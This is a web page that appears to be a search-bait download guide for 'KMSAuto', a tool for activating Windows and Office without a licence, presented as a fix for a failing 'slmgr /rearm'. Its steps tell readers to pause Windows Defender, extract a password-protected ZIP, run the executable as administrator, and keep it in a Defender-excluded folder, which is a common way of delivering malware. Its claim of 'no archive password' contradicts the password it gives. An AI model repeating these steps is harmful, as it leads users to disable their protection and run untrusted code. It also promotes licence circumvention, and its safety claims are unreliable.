slmgr /rearm Not Working — Every Fix — Mengatasi Masalah 2026

Overview

slmgr /rearm Not Working — Every Fix is fully supported by the 2026 OfficialKMSAuto build — free, portable, offline, no telemetry, no installer. This guide covers every step that works in 2026 after Microsoft's licensing changes, with the exact commands and fixes for the errors you'll hit along the way.

Step-by-step

Five steps, under 2 minutes from extract to activated.

• Pause Windows Defender real-time protection for ~2 minutes
• Extract the downloaded ZIP (password: jVzGhe5iPa)
• Right-click KMSAuto.exe and choose 'Run as administrator'
• Click the green Activation button — HWID for Windows, Ohook for Office
• Wait for 'Successfully activated' and reboot

What it covers

Full coverage of every modern Microsoft SKU users actually search for.

• Windows 11 24H2 / 25H2 (Pro, Home, Enterprise, LTSC)
• Windows 10 22H2 + LTSC 2021/2019
• Windows Server 2025 / 2022 / 2019
• Office 2024 / 2021 / 2019 / 2016 LTSC + Retail
• Microsoft 365 Apps for Enterprise (Ohook)

Why this build ranks above MAS / KMSPico clones

Verified Ratiborus mirror — SHA-256 hash published, public VirusTotal report, no archive password, no installer, no ads, no telemetry, no background services. Every release is signed by the original author and mirrored from the canonical source.

Troubleshooting the errors people actually search for

If activation fails, the cause is almost always Defender quarantining the executable mid-run, a stale KMS cache (slmgr /upk + slmgr /rilc), or a wrong product edition. Re-extract to a Defender-excluded folder (C:\Tools\KMSAuto), run as administrator, and switch the method between HWID (Windows), Ohook (Office) and TSforge (Server). For 0xC004F074 / 0xC004C003 / 0x80070005, see our error-code guides.